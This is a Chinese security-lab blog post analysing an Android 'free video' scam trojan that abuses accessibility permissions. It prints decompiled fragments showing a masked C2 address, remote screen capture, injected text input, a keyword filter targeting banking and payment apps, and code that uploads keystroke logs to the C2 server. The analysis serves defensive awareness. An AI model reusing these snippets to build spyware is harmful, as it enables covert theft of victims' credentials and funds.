记一次“免费看片”新型诈骗app木马盗刷分析
免责声明:本公众号 太乙Sec实验室 所提供的实验环境均是本地搭建,仅限于网络安全研究与学习。旨在为安全爱好者提供技术交流。任何个人或组织因传播、利用本公众号所提供的信息而进行的操作,所导致的直接或间接后果及损失,均由使用者本人负责。太乙Sec实验室及作者对此不承担任何责任
近期无障碍权限劫持型远程控制木马诈骗持续高发。不法分子通过色情引流、福利资源、破解工具等虚假链接诱导用户下载恶意 APP,伪装成正常软件,诱导用户手动开启无障碍权限。木马后台隐蔽运行,可窃取短信验证码、通讯录、相册、银行卡及支付信息等隐私;并利用无障碍权限模拟人工操作,远程拨打电话、后台偷拍录像、自动读取支付验证码、静默转账盗刷,完全远程掌控用户手机,隐蔽性极强、危害严重。




MainActivity.java 中:
- 界面伪装
:恶意程序伪装为正常 Android 应用市场,实际通过内置 WebView直接加载外部恶意(Yeloow)网页的看片网站 xxx.cc - 权限诱导
:在 Create、Resume生命周期中,强制启动悬浮窗页面(FlyActivity)、后台工作服务(WorkService),实时检测无障碍服务(Service)运行状态; - 强制劫持
:若检测到无障碍服务未启用,立即跳转悬浮窗页面并关闭当前界面,反复诱导、强制要求用户开启无障碍权限,不开启则无法正常使用程序; - 恶意服务
: AService继承系统无障碍服务,具备模拟点击、页面操控、自动化执行等高危能力,配合WebView页面实现诱导下载、权限劫持等恶意行为

木马接收云端远程控制指令后,实施实时屏幕录制窃取画面、短信通讯录信息窃取、无障碍服务劫持实现自动点击、远程操控手机设备等高危窃密及控制行为



C2恶意功能模块
// 硬编码的 C2 服务器地址host = "x.x.x.x"; // 服务器IPport = "x"; //


startForegroundService(intent) // 前台服务int xxx= jSONObject.optInt("XXXX", 30); // 帧率int xxx= jSONObject.optInt("XXXX", 1000000); // 码率float xxxx= (float) jSONObject.optDouble("XXXX", xxxx);
通过代码分析,该apk使用 Android 5.0+ 原生 MediaProjection + VirtualDisplay 实现屏幕录制,这是官方标准的屏幕采集方案,无需 Root 权限,可全屏采集屏幕画面,并支持实时视频流输出。
无障碍服务滥用 、
// 远程输入文本(模拟键盘输入)if () {AccessibilityNodeInfo accessibilityNodeInfoFindFocus = accessService.findFocus(1);Bundle bundle = new Bundle();bundle.putCharSequence(AccessibilityNodeInfoCompat.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, str);accessibilityNodeInfoFindFocus.performAction(2097152, bundle); // 输入文本}
利用系统无障碍能力,模拟真实用户交互行为,可对任意应用执行点击、输入、滑动等自动化操作,有效绕过应用安全防护机制,实现无感知远程控制。
实时屏幕 JSON 上传
在 APK 中存在专门的业务类,负责实时采集屏幕控件结构并编码为 JSON 对象树,通过递归遍历界面视图节点,将屏幕布局、控件属性、位置坐标及文本内容组织为结构化数据,最终上传至远程服务器。

远程指令↓┌───────────────────────┐│ 屏幕采集服务 │ ← 启动采集任务└───────────┬───────────┘│▼┌───────────────────────┐│ 获取窗口根节点 │ ← 抓取当前界面顶层控件└───────────┬───────────┘│▼┌───────────────────────┐│ 构建基础 JSON 头部 ││ • 屏幕宽高 ││ • 设备基础信息 ││ • 当前前台应用包名 │└───────────┬───────────┘│▼┌───────────────────────┐│ 递归遍历所有控件 ││ • 控件类型(View) ││ • 坐标位置(x,y,w,h) ││ • 显示文本(含密码) ││ • 可编辑状态 ││ • 子节点树结构 │└───────────┬───────────┘│▼┌───────────────────────┐│ 生成完整 JSON 树 │ ← 结构可直接还原界面└───────────┬───────────┘│▼┌───────────────────────┐│ 加密发送至 C2 服务器 │ ← 网络服务上传└───────────────────────┘

利用无障碍服务获取屏幕焦点输入框,通过服务器下发指令,强制自动输入文本,可用于远程输入支付密码、短信验证码、登录密码,实现静默盗取资金和账号信息。
在源码中某个类, 是该恶意程序的键盘操作与敏感输入日志窃取核心模块,主要针对银行、支付、钱包等金融类 App 进行定向攻击。

if (lowerCase.contains("bank") // 工商/建行/农行等后缀|| lowerCase.contains("pay") // 支付宝/微信支付|| lowerCase.contains("alipay")|| lowerCase.contains(BuildConfig.FLAVOR) // "io.flutter" → 壳App|| lowerCase.contains("wallet") // 钱包类App|| lowerCase.contains("finance")) { // 京东金融/度小满等return true; //}
当检测到银行、支付宝、支付类应用时会 立即优先上传数据 ,不会等待批量上传。
publicfinalvoids(f DDDD){// ... 解析应用名称 ...// 【步骤1】先保存到本地数据库long jH = this.b.h(DDDD);if (jH > 0) {DDD= jH;// 【步骤2】判断是否立即上传try {if (x(CHECK)) { // 调用检测方法// ⚠️ 如果是金融应用或敏感内容,立即启动新线程上传new Thread(new androidx.constraintlayout.motion.widget.a(12, this, fVar)).start();s(check)AccessibilityEvent 事件的最终落地函数(每条键盘事件都调用此函数)x(check)就是金融关键词检测函数只要命中关键词→y(check) 即刻执行 → 绕过XXXX 的 1 小时批量上传逻辑

// 立即上传的线程new Thread(new androidx.constraintlayout.motion.widget.a(12, this, XXX)).start();// 对应的实际方法public final void y(ArrayList arrayList) {// 构建JSON数据JSONObject jSONObject = new JSONObject();jSONObject.put("batchId", "batch_" + System.currentTimeMillis());jSONObject.put("deviceId", Settings.Secure.getString(..., "android_id"));jSONObject.put("timestamp", System.currentTimeMillis());jSONObject.put("logs", jSONArray); // 键盘记录// 直接发送到C2服务器byte[] bytes = jSONObject.toString().getBytes("UTF-8");r.f13274g.g((byte) 12, bytes); // 上传数据}



往期精彩回顾
关注我,了解更多知识,别忘了点赞+在看哦!

夜雨聆风
